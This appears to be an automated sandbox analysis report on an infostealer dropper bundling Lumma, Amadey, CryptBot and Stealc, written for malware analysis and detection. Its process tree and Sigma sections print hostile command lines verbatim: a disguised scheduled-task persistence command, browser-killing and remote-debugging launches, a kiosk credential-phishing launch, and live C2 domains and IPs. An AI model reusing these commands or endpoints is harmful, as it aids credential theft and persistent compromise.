Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559887
MD5:	35d1c1965ed05d18f6d96f235a43a275
SHA1:	c86ef2a0fcf22b02054f92f23c70a61ae8570b31
SHA256:	d7ecee953b42d1ead347c587deabfc57ed5360b5c20278249d6e2bae39386d56
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sets debug register (to hijack the execution of another thread)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries keyboard layouts

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4368 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 35D1C1965ED05D18F6D96F235A43A275)

skotes.exe (PID: 5260 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 35D1C1965ED05D18F6D96F235A43A275)

skotes.exe (PID: 2788 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 35D1C1965ED05D18F6D96F235A43A275)

skotes.exe (PID: 6644 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 35D1C1965ED05D18F6D96F235A43A275)

ce23dfc9e9.exe (PID: 1272 cmdline: "C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe" MD5: 580E5E0360775B95AB367AC5B849B95A)

chrome.exe (PID: 7916 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7284 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2472,i,6358272514420708437,16654773144454916869,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

SillyShelf.exe (PID: 6720 cmdline: "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" MD5: FECD099F9B8D9500D7199A1054397E3F)

SillyShelf.tmp (PID: 1536 cmdline: "C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp" /SL5="$80070,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" MD5: 14C6FA8E50B4147075EB922BD0C8B28D)

cmd.exe (PID: 4308 cmdline: "cmd.exe" /C timeout /T 3 & "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 3032 cmdline: timeout /T 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

SillyShelf.exe (PID: 6444 cmdline: "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: FECD099F9B8D9500D7199A1054397E3F)

SillyShelf.tmp (PID: 3576 cmdline: "C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp" /SL5="$2044A,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES MD5: 14C6FA8E50B4147075EB922BD0C8B28D)

regsvr32.exe (PID: 2508 cmdline: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll" MD5: 878E47C8656E53AE8A8A21E927C6F7E0)

regsvr32.exe (PID: 3116 cmdline: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll" MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

powershell.exe (PID: 748 cmdline: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4464 cmdline: "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{295868A1-856A-4FAB-F42C-F90738AE0C77}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

41266a11cd.exe (PID: 1984 cmdline: "C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe" MD5: 896B70EC58CD9C07E6F54178C959B1AB)

813d0f4405.exe (PID: 4612 cmdline: "C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe" MD5: 839A665835F7C3206F7DCFC30378EB90)

chrome.exe (PID: 5052 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7000 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2340,i,7830425729615441545,7862388668544970910,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 7412 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1776 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2524 --field-trial-handle=2196,i,18403555696395421460,7447079229729429509,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

1d003e9e16.exe (PID: 6612 cmdline: "C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe" MD5: 255340D5114625142BF036174E2D4137)

taskkill.exe (PID: 2520 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1380 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3940 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2812 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4788 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5460 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

46bc483599.exe (PID: 7708 cmdline: "C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe" MD5: DD4838B2C7C89B5D5130F5BC7168809B)

41266a11cd.exe (PID: 6364 cmdline: "C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe" MD5: 896B70EC58CD9C07E6F54178C959B1AB)

firefox.exe (PID: 1448 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6168 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7248 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2064 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecd0d195-4882-47a0-95d6-137f9970256d} 6168 "\\.\pipe\gecko-crash-server-pipe.6168" 1383966eb10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7540 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4052 -parentBuildID 20230927232528 -prefsHandle 3224 -prefMapHandle 4248 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3832cf86-050e-44c6-b11c-9d495ad99968} 6168 "\\.\pipe\gecko-crash-server-pipe.6168" 1385192cd10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

regsvr32.exe (PID: 1052 cmdline: C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll MD5: B0C2FA35D14A9FAD919E99D9D75E1B9E)

svchost.exe (PID: 5040 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

813d0f4405.exe (PID: 7436 cmdline: "C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe" MD5: 839A665835F7C3206F7DCFC30378EB90)

1d003e9e16.exe (PID: 5452 cmdline: "C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe" MD5: 255340D5114625142BF036174E2D4137)

taskkill.exe (PID: 7408 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msedge.exe (PID: 8268 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8664 cmdline: MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: LummaC

{"C2 url": ["p10tgrace.sbs", "processhol.sbs", "peepburry828.sbs", "3xp3cts1aim.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: Cryptbot

{"C2 list": ["QUERY|rd|AAAA|IN|home.fvtekk5pn.top", "fvtekk5pn.top", "gPhome.fvtekk5pn.top", "home.fvtekk5pn.top", "\"home.fvtekk5pn.top", "0/80/home.fvtekk5pn.top", "QUERY|rd|A|IN|home.fvtekk5pn.top"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000011.00000003.3219279190.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2638498819.0000000005060000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2102169941.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.3173428242.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2142522636.0000000000531000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.3245612427.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.2121687435.0000000004A70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2162232766.00000000009F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000003.3082256465.0000000005310000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.3174767905.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000003.2131243243.0000000005100000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.3173346286.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3076592004.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3126764052.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3076217937.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3217338476.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3129023930.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002B.00000003.3255598297.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.3131692254.0000000000AED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2171904450.00000000009F1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 41266a11cd.exe PID: 1984	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 41266a11cd.exe PID: 1984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 41266a11cd.exe PID: 1984	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 813d0f4405.exe PID: 4612	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 813d0f4405.exe PID: 4612	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 1d003e9e16.exe PID: 6612	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 21 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.530000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.9f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.9f0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6644, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\41266a11cd.exe

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Source: Process started

Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 3116, ParentProcessName: regsvr32.exe, ProcessCommandLine: "powershell" -Command "if (Get-ScheduledTask | Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }", ProcessId: 748, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe, ParentProcessId: 4612, ParentProcessName: 813d0f4405.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5052, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6644, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\41266a11cd.exe

Sigma detected: Network Connection Initiated By Regsvr32.EXE

Source: Network Connection

Author: Dmitriy Lifanov, oscd.community: Data: DestinationIp: 154.216.19.129, DestinationIsIpv6: false, DestinationPort: 58001, EventID: 3, Image: C:\Windows\System32\regsvr32.exe, Initiated: true, ProcessId: 3116, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 50099

Sigma detected: Potential Regsvr32 Commandline Flag Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", CommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp" /SL5="$2044A,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES, ParentImage: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp, ParentProcessId: 3576, ParentProcessName: SillyShelf.tmp, ProcessCommandLine: "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll", ProcessId: 2508, ProcessName: regsvr32.exe

